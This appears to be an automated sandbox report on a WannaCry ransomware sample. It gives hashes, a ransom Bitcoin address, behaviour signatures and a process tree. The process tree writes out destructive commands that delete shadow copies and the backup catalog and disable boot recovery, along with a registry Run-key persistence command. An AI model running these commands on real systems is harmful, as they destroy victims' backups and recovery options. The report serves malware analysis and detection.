Analysis
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max time kernel
148s -
max time network
151s -
platform
windows10_x64 -
resource
win10v200722 -
submitted
19-08-2020 16:32
Static task
static1
Behavioral task
behavioral1
Sample
ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
Resource
win7
Behavioral task
behavioral2
Sample
ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
Resource
win10v200722
General
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Target
ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
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Size
3.4MB
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MD5
84c82835a5d21bbcf75a61706d8ab549
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SHA1
5ff465afaabcbf0150d1a3ab2c2e74f3a4426467
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SHA256
ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa
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SHA512
90723a50c20ba3643d625595fd6be8dcf88d70ff7f4b4719a88f055d5b3149a4231018ea30d375171507a147e59f73478c0c27948590794554d031e7d54b7244
Malware Config
Extracted
C:\Users\Admin\AppData\Local\Temp\@Please_Read_Me@.txt
wannacry
13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94
Signatures
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Wannacry
WannaCry is a ransomware cryptoworm.
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Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
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Executes dropped EXE 14 IoCs
Processes:
taskdl.exetaskdl.exe@WanaDecryptor@.exe@WanaDecryptor@.exetaskhsvc.exetaskse.exe@WanaDecryptor@.exetaskdl.exetaskdl.exetaskse.exe@WanaDecryptor@.exetaskse.exe@WanaDecryptor@.exetaskdl.exepid process 2044 taskdl.exe 1044 taskdl.exe 2548 @WanaDecryptor@.exe 2364 @WanaDecryptor@.exe 696 taskhsvc.exe 3496 taskse.exe 3492 @WanaDecryptor@.exe 1324 taskdl.exe 908 taskdl.exe 992 taskse.exe 704 @WanaDecryptor@.exe 3884 taskse.exe 3984 @WanaDecryptor@.exe 3672 taskdl.exe -
Modifies extensions of user files 10 IoCs
Ransomware generally changes the extension on encrypted files.
Processes:
ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exedescription ioc process File opened for modification C:\Users\Admin\Pictures\DismountCompare.tiff.WNCRY ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File renamed C:\Users\Admin\Pictures\InitializeMount.raw.WNCRYT => C:\Users\Admin\Pictures\InitializeMount.raw.WNCRY ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File created C:\Users\Admin\Pictures\ResizeRepair.tif.WNCRYT ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File renamed C:\Users\Admin\Pictures\ResizeRepair.tif.WNCRYT => C:\Users\Admin\Pictures\ResizeRepair.tif.WNCRY ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File opened for modification C:\Users\Admin\Pictures\ResizeRepair.tif.WNCRY ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File created C:\Users\Admin\Pictures\DismountCompare.tiff.WNCRYT ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File created C:\Users\Admin\Pictures\InitializeMount.raw.WNCRYT ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File opened for modification C:\Users\Admin\Pictures\InitializeMount.raw.WNCRY ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File opened for modification C:\Users\Admin\Pictures\DismountCompare.tiff ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File renamed C:\Users\Admin\Pictures\DismountCompare.tiff.WNCRYT => C:\Users\Admin\Pictures\DismountCompare.tiff.WNCRY ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe -
Drops startup file 2 IoCs
Processes:
ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exedescription ioc process File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\~SDC46E.tmp ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Word\STARTUP\~SDC485.tmp ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe -
Loads dropped DLL 7 IoCs
Processes:
taskhsvc.exepid process 696 taskhsvc.exe 696 taskhsvc.exe 696 taskhsvc.exe 696 taskhsvc.exe 696 taskhsvc.exe 696 taskhsvc.exe 696 taskhsvc.exe -
Modifies file permissions 1 TTPs 1 IoCs
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Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Adds Run key to start application 2 TTPs 2 IoCs
Processes:
reg.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\yitnqofnjvk729 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\tasksche.exe\"" reg.exe -
JavaScript code in executable 5 IoCs
Processes:
resource yara_rule C:\Users\Admin\AppData\Local\Temp\TaskData\Tor\taskhsvc.exe js C:\Users\Admin\AppData\Local\Temp\TaskData\Tor\taskhsvc.exe js C:\Users\Admin\AppData\Local\Temp\TaskData\Tor\LIBEAY32.dll js \Users\Admin\AppData\Local\Temp\TaskData\Tor\libeay32.dll js \Users\Admin\AppData\Local\Temp\TaskData\Tor\libeay32.dll js -
Modifies service 2 TTPs 4 IoCs
Processes:
vssvc.exedescription ioc process Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\COM+ REGDB Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\ASR Writer vssvc.exe -
Sets desktop wallpaper using registry 2 TTPs 2 IoCs
Processes:
@WanaDecryptor@.exeed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-1400429095-533421673-2598934218-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\Desktop\\@WanaDecryptor@.bmp" @WanaDecryptor@.exe Set value (str) \REGISTRY\USER\S-1-5-21-1400429095-533421673-2598934218-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\Desktop\\@WanaDecryptor@.bmp" ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe -
Interacts with shadow copies 2 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
Processes:
vssadmin.exepid process 2340 vssadmin.exe -
Modifies registry key 1 TTPs 1 IoCs
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Suspicious behavior: EnumeratesProcesses 6 IoCs
Processes:
taskhsvc.exepid process 696 taskhsvc.exe 696 taskhsvc.exe 696 taskhsvc.exe 696 taskhsvc.exe 696 taskhsvc.exe 696 taskhsvc.exe -
Suspicious use of AdjustPrivilegeToken 51 IoCs
Processes:
vssvc.exeWMIC.exetaskse.exetaskse.exetaskse.exedescription pid process Token: SeBackupPrivilege 3836 vssvc.exe Token: SeRestorePrivilege 3836 vssvc.exe Token: SeAuditPrivilege 3836 vssvc.exe Token: SeIncreaseQuotaPrivilege 3512 WMIC.exe Token: SeSecurityPrivilege 3512 WMIC.exe Token: SeTakeOwnershipPrivilege 3512 WMIC.exe Token: SeLoadDriverPrivilege 3512 WMIC.exe Token: SeSystemProfilePrivilege 3512 WMIC.exe Token: SeSystemtimePrivilege 3512 WMIC.exe Token: SeProfSingleProcessPrivilege 3512 WMIC.exe Token: SeIncBasePriorityPrivilege 3512 WMIC.exe Token: SeCreatePagefilePrivilege 3512 WMIC.exe Token: SeBackupPrivilege 3512 WMIC.exe Token: SeRestorePrivilege 3512 WMIC.exe Token: SeShutdownPrivilege 3512 WMIC.exe Token: SeDebugPrivilege 3512 WMIC.exe Token: SeSystemEnvironmentPrivilege 3512 WMIC.exe Token: SeRemoteShutdownPrivilege 3512 WMIC.exe Token: SeUndockPrivilege 3512 WMIC.exe Token: SeManageVolumePrivilege 3512 WMIC.exe Token: 33 3512 WMIC.exe Token: 34 3512 WMIC.exe Token: 35 3512 WMIC.exe Token: 36 3512 WMIC.exe Token: SeIncreaseQuotaPrivilege 3512 WMIC.exe Token: SeSecurityPrivilege 3512 WMIC.exe Token: SeTakeOwnershipPrivilege 3512 WMIC.exe Token: SeLoadDriverPrivilege 3512 WMIC.exe Token: SeSystemProfilePrivilege 3512 WMIC.exe Token: SeSystemtimePrivilege 3512 WMIC.exe Token: SeProfSingleProcessPrivilege 3512 WMIC.exe Token: SeIncBasePriorityPrivilege 3512 WMIC.exe Token: SeCreatePagefilePrivilege 3512 WMIC.exe Token: SeBackupPrivilege 3512 WMIC.exe Token: SeRestorePrivilege 3512 WMIC.exe Token: SeShutdownPrivilege 3512 WMIC.exe Token: SeDebugPrivilege 3512 WMIC.exe Token: SeSystemEnvironmentPrivilege 3512 WMIC.exe Token: SeRemoteShutdownPrivilege 3512 WMIC.exe Token: SeUndockPrivilege 3512 WMIC.exe Token: SeManageVolumePrivilege 3512 WMIC.exe Token: 33 3512 WMIC.exe Token: 34 3512 WMIC.exe Token: 35 3512 WMIC.exe Token: 36 3512 WMIC.exe Token: SeTcbPrivilege 3496 taskse.exe Token: SeTcbPrivilege 3496 taskse.exe Token: SeTcbPrivilege 992 taskse.exe Token: SeTcbPrivilege 992 taskse.exe Token: SeTcbPrivilege 3884 taskse.exe Token: SeTcbPrivilege 3884 taskse.exe -
Suspicious use of SetWindowsHookEx 8 IoCs
Processes:
@WanaDecryptor@.exe@WanaDecryptor@.exe@WanaDecryptor@.exe@WanaDecryptor@.exe@WanaDecryptor@.exepid process 2364 @WanaDecryptor@.exe 2548 @WanaDecryptor@.exe 2364 @WanaDecryptor@.exe 2548 @WanaDecryptor@.exe 3492 @WanaDecryptor@.exe 3492 @WanaDecryptor@.exe 704 @WanaDecryptor@.exe 3984 @WanaDecryptor@.exe -
Suspicious use of WriteProcessMemory 72 IoCs
Processes:
ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.execmd.execmd.exe@WanaDecryptor@.exe@WanaDecryptor@.execmd.execmd.exedescription pid process target process PID 512 wrote to memory of 648 512 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe attrib.exe PID 512 wrote to memory of 648 512 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe attrib.exe PID 512 wrote to memory of 648 512 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe attrib.exe PID 512 wrote to memory of 816 512 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe icacls.exe PID 512 wrote to memory of 816 512 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe icacls.exe PID 512 wrote to memory of 816 512 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe icacls.exe PID 512 wrote to memory of 2044 512 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe taskdl.exe PID 512 wrote to memory of 2044 512 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe taskdl.exe PID 512 wrote to memory of 2044 512 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe taskdl.exe PID 512 wrote to memory of 2192 512 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe cmd.exe PID 512 wrote to memory of 2192 512 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe cmd.exe PID 512 wrote to memory of 2192 512 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe cmd.exe PID 2192 wrote to memory of 2556 2192 cmd.exe cscript.exe PID 2192 wrote to memory of 2556 2192 cmd.exe cscript.exe PID 2192 wrote to memory of 2556 2192 cmd.exe cscript.exe PID 512 wrote to memory of 1044 512 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe taskdl.exe PID 512 wrote to memory of 1044 512 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe taskdl.exe PID 512 wrote to memory of 1044 512 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe taskdl.exe PID 512 wrote to memory of 2548 512 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe @WanaDecryptor@.exe PID 512 wrote to memory of 2548 512 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe @WanaDecryptor@.exe PID 512 wrote to memory of 2548 512 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe @WanaDecryptor@.exe PID 512 wrote to memory of 2620 512 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe cmd.exe PID 512 wrote to memory of 2620 512 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe cmd.exe PID 512 wrote to memory of 2620 512 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe cmd.exe PID 2620 wrote to memory of 2364 2620 cmd.exe @WanaDecryptor@.exe PID 2620 wrote to memory of 2364 2620 cmd.exe @WanaDecryptor@.exe PID 2620 wrote to memory of 2364 2620 cmd.exe @WanaDecryptor@.exe PID 2548 wrote to memory of 696 2548 @WanaDecryptor@.exe taskhsvc.exe PID 2548 wrote to memory of 696 2548 @WanaDecryptor@.exe taskhsvc.exe PID 2548 wrote to memory of 696 2548 @WanaDecryptor@.exe taskhsvc.exe PID 2364 wrote to memory of 2328 2364 @WanaDecryptor@.exe cmd.exe PID 2364 wrote to memory of 2328 2364 @WanaDecryptor@.exe cmd.exe PID 2364 wrote to memory of 2328 2364 @WanaDecryptor@.exe cmd.exe PID 2328 wrote to memory of 2340 2328 cmd.exe vssadmin.exe PID 2328 wrote to memory of 2340 2328 cmd.exe vssadmin.exe PID 2328 wrote to memory of 2340 2328 cmd.exe vssadmin.exe PID 2328 wrote to memory of 3512 2328 cmd.exe WMIC.exe PID 2328 wrote to memory of 3512 2328 cmd.exe WMIC.exe PID 2328 wrote to memory of 3512 2328 cmd.exe WMIC.exe PID 512 wrote to memory of 3496 512 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe taskse.exe PID 512 wrote to memory of 3496 512 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe taskse.exe PID 512 wrote to memory of 3496 512 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe taskse.exe PID 512 wrote to memory of 3492 512 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe @WanaDecryptor@.exe PID 512 wrote to memory of 3492 512 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe @WanaDecryptor@.exe PID 512 wrote to memory of 3492 512 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe @WanaDecryptor@.exe PID 512 wrote to memory of 1864 512 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe cmd.exe PID 512 wrote to memory of 1864 512 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe cmd.exe PID 512 wrote to memory of 1864 512 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe cmd.exe PID 512 wrote to memory of 1324 512 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe taskdl.exe PID 512 wrote to memory of 1324 512 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe taskdl.exe PID 512 wrote to memory of 1324 512 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe taskdl.exe PID 1864 wrote to memory of 3688 1864 cmd.exe reg.exe PID 1864 wrote to memory of 3688 1864 cmd.exe reg.exe PID 1864 wrote to memory of 3688 1864 cmd.exe reg.exe PID 512 wrote to memory of 908 512 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe taskdl.exe PID 512 wrote to memory of 908 512 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe taskdl.exe PID 512 wrote to memory of 908 512 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe taskdl.exe PID 512 wrote to memory of 992 512 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe taskse.exe PID 512 wrote to memory of 992 512 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe taskse.exe PID 512 wrote to memory of 992 512 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe taskse.exe PID 512 wrote to memory of 704 512 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe @WanaDecryptor@.exe PID 512 wrote to memory of 704 512 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe @WanaDecryptor@.exe PID 512 wrote to memory of 704 512 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe @WanaDecryptor@.exe PID 512 wrote to memory of 3884 512 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe taskse.exe -
Views/modifies file attributes 1 TTPs 1 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe"C:\Users\Admin\AppData\Local\Temp\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe"1⤵
- Modifies extensions of user files
- Drops startup file
- Sets desktop wallpaper using registry
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\attrib.exeattrib +h .2⤵
- Views/modifies file attributes
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C:\Windows\SysWOW64\icacls.exeicacls . /grant Everyone:F /T /C /Q2⤵
- Modifies file permissions
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C:\Users\Admin\AppData\Local\Temp\taskdl.exetaskdl.exe2⤵
- Executes dropped EXE
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c 209591597861963.bat2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\cscript.execscript.exe //nologo m.vbs3⤵
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C:\Users\Admin\AppData\Local\Temp\taskdl.exetaskdl.exe2⤵
- Executes dropped EXE
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C:\Users\Admin\AppData\Local\Temp\@WanaDecryptor@.exe@WanaDecryptor@.exe co2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\Temp\TaskData\Tor\taskhsvc.exeTaskData\Tor\taskhsvc.exe3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
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C:\Windows\SysWOW64\cmd.execmd.exe /c start /b @WanaDecryptor@.exe vs2⤵
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\Temp\@WanaDecryptor@.exe@WanaDecryptor@.exe vs3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\cmd.execmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet4⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\vssadmin.exevssadmin delete shadows /all /quiet5⤵
- Interacts with shadow copies
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C:\Windows\SysWOW64\Wbem\WMIC.exewmic shadowcopy delete5⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Local\Temp\taskse.exetaskse.exe C:\Users\Admin\AppData\Local\Temp\@WanaDecryptor@.exe2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Local\Temp\@WanaDecryptor@.exe@WanaDecryptor@.exe2⤵
- Executes dropped EXE
- Sets desktop wallpaper using registry
- Suspicious use of SetWindowsHookEx
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C:\Windows\SysWOW64\cmd.execmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "yitnqofnjvk729" /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\tasksche.exe\"" /f2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\reg.exereg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "yitnqofnjvk729" /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\tasksche.exe\"" /f3⤵
- Adds Run key to start application
- Modifies registry key
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C:\Users\Admin\AppData\Local\Temp\taskdl.exetaskdl.exe2⤵
- Executes dropped EXE
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C:\Users\Admin\AppData\Local\Temp\taskdl.exetaskdl.exe2⤵
- Executes dropped EXE
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C:\Users\Admin\AppData\Local\Temp\taskse.exetaskse.exe C:\Users\Admin\AppData\Local\Temp\@WanaDecryptor@.exe2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Local\Temp\@WanaDecryptor@.exe@WanaDecryptor@.exe2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
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C:\Users\Admin\AppData\Local\Temp\taskse.exetaskse.exe C:\Users\Admin\AppData\Local\Temp\@WanaDecryptor@.exe2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Local\Temp\@WanaDecryptor@.exe@WanaDecryptor@.exe2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
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C:\Users\Admin\AppData\Local\Temp\taskdl.exetaskdl.exe2⤵
- Executes dropped EXE
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Modifies service
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Local\Temp\0.WNCRYT
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C:\Users\Admin\AppData\Local\Temp\00000000.res
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C:\Users\Admin\AppData\Local\Temp\1.WNCRYT
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C:\Users\Admin\AppData\Local\Temp\10.WNCRYT
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C:\Users\Admin\AppData\Local\Temp\11.WNCRYT
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C:\Users\Admin\AppData\Local\Temp\12.WNCRYT
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